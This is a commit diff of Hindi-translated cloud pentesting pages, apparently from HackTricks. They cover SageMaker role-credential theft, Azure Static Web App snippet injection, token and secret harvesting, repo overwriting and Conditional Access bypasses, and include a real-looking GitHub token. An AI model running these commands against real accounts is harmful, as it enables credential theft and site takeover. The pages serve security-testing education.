mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 05:03:31 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -6,18 +6,18 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
एक नोटबुक बनाना शुरू करें जिसमें इसे एक्सेस करने के लिए IAM भूमिका संलग्न हो:
|
||||
IAM भूमिका के साथ एक नोटबुक बनाना शुरू करें जो इसके साथ जुड़ी हो:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
|
||||
`NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक इंस्टेंस का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक इंस्टेंस तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर “Launcher” टैब पर स्क्रॉल करें और “Other” अनुभाग के तहत “Terminal” बटन पर क्लिक करें।
|
||||
ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर "Launcher" टैब पर स्क्रॉल करें और "Other" अनुभाग के तहत "Terminal" बटन पर क्लिक करें।
|
||||
|
||||
अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है।
|
||||
|
||||
@@ -25,7 +25,7 @@ aws sagemaker create-presigned-notebook-instance-url \
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से उन्हें खोज सकते हैं)। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
|
||||
यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
@@ -52,13 +52,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
|
||||
उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुरा सकेगा।
|
||||
|
||||
> [!WARNING]
|
||||
> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
|
||||
> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिव शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
|
||||
>
|
||||
> ```bash
|
||||
> # Docker छवि बनाएँ
|
||||
> mkdir /tmp/rev
|
||||
> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है
|
||||
> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ
|
||||
> ## यही कारण है कि मैं रिव शेल को /bin/train में रख रहा हूँ
|
||||
> ## <YOUR-IP-OR-DOMAIN> और <YOUR-PORT> के मान सेट करें
|
||||
> cat > /tmp/rev/Dockerfile <<EOF
|
||||
> FROM ubuntu
|
||||
@@ -90,12 +90,12 @@ aws sagemaker create-training-job \
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
|
||||
```
|
||||
**संभावित प्रभाव:** निर्दिष्ट सagemaker सेवा भूमिका के लिए प्रिवेस्क।
|
||||
**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
|
||||
&#xNAN;_I ने समय की कमी के कारण शोषण नहीं किया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
|
||||
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण नौकरी** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
|
||||
_मैंने समय की कमी के कारण इसका लाभ नहीं उठाया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
इस सेवा के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल या म्नेमोनिक कुंजी (वेब3 वॉलेट में) चुराने की अनुमति मिल सकती है।
|
||||
|
||||
निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
|
||||
|
||||
जैसा कि ऐप सेवा अनुभाग में समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
|
||||
|
||||
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
यह संभव है कि **Github repo** के अंदर एक फ़ाइल को **overwritte** किया जाए जिसमें ऐप हो, Azure के माध्यम से **Github token** का उपयोग करके एक अनुरोध भेजकर जैसे कि निम्नलिखित, जो फ़ाइल के पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।
|
||||
|
||||
इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से **वेब ऐप की सामग्री को बदल सकें** ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कीज़ चुराना...) प्रदान की जा सके या बस **कुछ पथों को** अपने सर्वरों पर पुनः मार्गित करने के लिए `staticwebapp.config.json` फ़ाइल को ओवरराइट करके।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github repo को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
इस अनुमति के साथ, यह **पासवर्ड को संशोधित करना** संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनलॉक करने के लिए निम्नलिखित अनुरोध भेजना:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
यह अनुमति **API कुंजी तैनाती टोकन** प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है।
|
||||
|
||||
यह टोकन ऐप को तैनात करने की अनुमति देता है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
फिर, एक ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड **कैसे Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) काम करता है** की जांच करके निकाली गई थी, क्योंकि यह वह है जिसे Azure ने डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट किया है। इसलिए चित्र और पैरामीटर भविष्य में बदल सकते हैं।
|
||||
|
||||
1. रेपो डाउनलोड करें [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और `cd react-basic` चलाएँ।
|
||||
2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
|
||||
3. इसे तैनात करें (याद रखें कि `<api-token>` बदलना है):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
इस अनुमति के साथ, **स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलना संभव है**, हालाँकि, इसे स्वचालित रूप से प्रोविजन नहीं किया जाएगा क्योंकि यह आमतौर पर उस टोकन के साथ Github Action से किया जाना चाहिए जिसने क्रिया को अधिकृत किया है, क्योंकि यह टोकन स्वचालित रूप से रिपॉजिटरी के Github सीक्रेट्स के अंदर अपडेट नहीं होता (यह केवल ऐप के निर्माण के समय स्वचालित रूप से जोड़ा जाता है)।
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
इस अनुमति के साथ **स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है** जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,34 +4,34 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों के लिए पहुँच नियंत्रण लागू करने के लिए स्थापित की गई हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\
|
||||
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** **कौन** **क्या** तक पहुँच सकता है **कहाँ** से और **कैसे**।
|
||||
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए स्थापित की गई हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\
|
||||
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** कि **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है।
|
||||
|
||||
यहाँ कुछ उदाहरण दिए गए हैं:
|
||||
|
||||
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, तो मल्टी-फैक्टर ऑथेंटिकेशन (MFA) की आवश्यकता हो सकती है। उदाहरण के लिए, यदि किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
|
||||
2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों के लिए Azure सेवाओं तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।
|
||||
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जैसे कि जब किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य होता है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
|
||||
2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।
|
||||
|
||||
## Conditional Access Policies Bypasses
|
||||
|
||||
यह संभव है कि एक conditional access नीति **कुछ जानकारी की जाँच कर रही हो जिसे आसानी से छेड़ा जा सकता है जिससे नीति का बायपास किया जा सके**। और यदि उदाहरण के लिए नीति MFA को कॉन्फ़िगर कर रही थी, तो हमलावर इसे बायपास करने में सक्षम होगा।
|
||||
यह संभव है कि एक conditional access नीति **कुछ जानकारी की जाँच कर रही हो जिसे आसानी से छेड़ा जा सकता है जिससे नीति को बायपास किया जा सके**। और यदि उदाहरण के लिए नीति MFA को कॉन्फ़िगर कर रही थी, तो हमलावर इसे बायपास करने में सक्षम होगा।
|
||||
|
||||
एक conditional access नीति को कॉन्फ़िगर करते समय यह आवश्यक है कि प्रभावित **उपयोगकर्ताओं** और **लक्षित संसाधनों** (जैसे सभी क्लाउड ऐप) को इंगित किया जाए।
|
||||
|
||||
यह भी आवश्यक है कि उन **शर्तों** को कॉन्फ़िगर किया जाए जो नीति को **प्रेरित** करेंगी:
|
||||
|
||||
- **नेटवर्क**: आईपी, आईपी रेंज और भौगोलिक स्थान
|
||||
- किसी देश से कनेक्ट करने के लिए VPN या प्रॉक्सी का उपयोग करके बायपास किया जा सकता है या एक अनुमत आईपी पते से लॉगिन करने में सक्षम होना
|
||||
- एक VPN या प्रॉक्सी का उपयोग करके एक देश से कनेक्ट करने या एक अनुमत आईपी पते से लॉगिन करने में बायपास किया जा सकता है
|
||||
- **Microsoft जोखिम**: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम
|
||||
- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows फोन, Windows, macOS, Linux का चयन करें
|
||||
- यदि "कोई भी डिवाइस" चयनित नहीं है लेकिन सभी अन्य विकल्प चयनित हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
|
||||
- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और अन्य क्लाइंट"
|
||||
- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows phone, Windows, macOS, Linux का चयन करें
|
||||
- यदि "कोई भी डिवाइस" का चयन नहीं किया गया है लेकिन सभी अन्य विकल्प चुने गए हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
|
||||
- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और "अन्य क्लाइंट"
|
||||
- एक न चुने गए विकल्प के साथ लॉगिन बायपास करने के लिए
|
||||
- **डिवाइस के लिए फ़िल्टर**: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है
|
||||
- **प्रमाणीकरण प्रवाह**: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणीकरण स्थानांतरण"
|
||||
- यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश नहीं कर रहा हो
|
||||
|
||||
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना शामिल हैं…
|
||||
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करना संभावित शर्तों के साथ जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना...
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
@@ -44,22 +44,22 @@ Conditional access नीतियाँ मूल रूप से **यह प
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 या [इस तरह के ब्राउज़र एक्सटेंशन](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) का उपयोग करें।
|
||||
या [इस तरह के ब्राउज़र एक्सटेंशन का उपयोग करें](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
यदि यह कंडीशनल नीति में सेट किया गया है, तो एक हमलावर बस **अनुमत देश** में एक **VPN** का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए **अनुमत आईपी पते** से पहुँचने का एक तरीका खोज सकता है।
|
||||
यदि यह conditional policy में सेट किया गया है, तो एक हमलावर बस **अनुमत देश** में एक **VPN** का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए एक **अनुमत आईपी पते** से पहुँचने का तरीका खोज सकता है।
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने के लिए उपयोगकर्ता द्वारा MFA को ब्लॉक या मजबूर करने के लिए **कंडीशनल एक्सेस नीतियों** को कॉन्फ़िगर किया जाए:
|
||||
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने के लिए एक उपयोगकर्ता MFA को ब्लॉक या मजबूर करने के लिए **conditional access policies** को कॉन्फ़िगर किया जाए:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं**।\
|
||||
उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **दर्जनों एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने की कोशिश करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।
|
||||
|
||||
विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप एक उपकरण का उपयोग कर सकते हैं जैसे:
|
||||
विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप इस तरह के उपकरण का भी उपयोग कर सकते हैं:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
यह स्क्रिप्ट कुछ उपयोगकर्ता क्रेडेंशियल प्राप्त करती है और जांचती है कि क्या यह कुछ अनुप्रयोगों में लॉगिन कर सकती है।
|
||||
|
||||
यह उपयोगी है यह देखने के लिए कि क्या आपको कुछ अनुप्रयोगों में लॉगिन करने के लिए **MFA की आवश्यकता नहीं है** जिन्हें आप बाद में **privileges बढ़ाने** के लिए दुरुपयोग कर सकते हैं।
|
||||
यह उपयोगी है यह देखने के लिए कि क्या आपको कुछ अनुप्रयोगों में लॉगिन करने के लिए **MFA की आवश्यकता नहीं है** जिसे आप बाद में **privileges बढ़ाने** के लिए दुरुपयोग कर सकते हैं।
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -135,7 +135,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token एक सेट फ़ंक्शंस का है जो सुरक्षा सलाहकारों की मदद करने के लिए है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टल्स के लिए परीक्षण करने आदि की आवश्यकता होती है।
|
||||
Donkey token एक सेट है फ़ंक्शंस का जो सुरक्षा सलाहकारों की मदद करने के लिए है जिन्हें Conditional Access Policies को मान्य करना है, 2FA-सक्षम Microsoft पोर्टल के लिए परीक्षण करना है, आदि।
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Static Web Apps Basic Information
|
||||
|
||||
Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने** के लिए है। यह वैश्विक सामग्री वितरण, सर्वरलेस बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री में छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> जब एक स्थिर ऐप बनाया जाता है, तो आप **डिप्लॉयमेंट प्राधिकरण नीति** के बीच **डिप्लॉयमेंट टोकन** और **GitHub Actions वर्कफ़्लो** चुन सकते हैं।
|
||||
|
||||
|
||||
### Web App Authentication
|
||||
|
||||
वेब ऐप तक पहुँचने के लिए **एक पासवर्ड कॉन्फ़िगर करना** संभव है। वेब कंसोल इसे केवल स्टेजिंग वातावरण या स्टेजिंग और उत्पादन दोनों को सुरक्षित करने के लिए कॉन्फ़िगर करने की अनुमति देता है।
|
||||
|
||||
यह इस तरह है कि लेखन के समय एक पासवर्ड-संरक्षित वेब ऐप कैसा दिखता है:
|
||||
|
||||
